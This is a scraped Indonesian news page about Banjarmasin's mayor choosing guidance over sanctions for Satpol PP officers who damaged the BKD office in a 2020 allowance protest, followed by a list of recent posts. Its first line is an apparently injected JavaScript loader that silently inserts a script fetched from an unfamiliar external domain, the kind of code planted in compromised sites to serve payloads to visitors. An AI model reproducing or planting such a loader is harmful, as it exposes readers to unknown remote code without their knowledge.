(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Buntut Serbuan Anggota Satpol PP ke Kantor BKD Banjarmasin, Walikota Ibnu: Cukup Dibina Saja


KANALKALIMANTAN.COM, BANJARMASIN – Aksi demonstrasi anggota Satpol PP Kota Banjarmasin yang berujung pengerusakan kantor Badan Kepegawaian Daerah (BKD) Kota Banjarmasin disoroti Walikota Banjarmasin H Ibnu Sina. Ditemui pada Rabu (19/2/2020) siang, orang nomor satu di Balaikota Banjarmasin ini mengaku prihatin dengan pengerusakan yang terjadi di sela aksi demonstrasi aparat Satpol PP yang menuntut kenaikan tunjangan kinerja (tukin).

Apakah ada sanksi kepada oknum yang melakukan pengerusakan di kantor BKD? Ibnu menyebut semuanya diserahkan kepada pimpinan Satpol PP Kota Banjarmasin. Sehingga, alih-alih memberikan sanksi, solusi saat ini yang bisa diterapkan yaitu pembinaan kepada anggota Satpol PP saja.

Baca juga: KRONOLOGI SATPOL PP MENGAMUK DI KANTOR BKD BANJARMASIN

 “Karena di video rekaman ada, kemudian saksi-saksi sudah ada. Silakan saja Plt Kasatpol PP untuk melakukan pembinaan yang bersangkutan,” kata Ibnu.

Walikota Banjarmasin Ibnu Sina. foto: fikri

Ditanya apakah ada tuntutan dari BKD Kota Banjarmasin lantaran kantornya diobrak-abrik saat demonstrasi, Ibnu menyebut tidak ada tuntutan dari instansi kepegawaian itu. “Sampai sekarang belum ada tuntutan,” tegas Ibnu Sina.

Baca juga: Seruduk Kantor BKD, Satpol PP Banjarmasin Tuntut Kenaikan Tukin

Dikonfirmasi Kanalkalimantan.com secara terpisah, Plt Kasatpol PP Kota Banjarmasin Ichwan Noor Chalik membenarkan apa yang disampaikan Ibnu soal pembinaan kepada ASN yang mengrusak kantor BKD Kota Banjarmasin. “Betul sekali. 1000 persen,” kata Ichwan saat dihubungi melalui pesan singkat.

Bahkan, Ichwan menjamin dirinya bertanggung jawab terhadap insiden yang terjadi di Kantor BKD Banjarmasin pada Selasa (18/2/2020) kemarin. “Apabila anak buah saya salah, maka yang bersalah adalah saya dan yang harus diberi sanksi adalah saya,” tukas Ichwan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.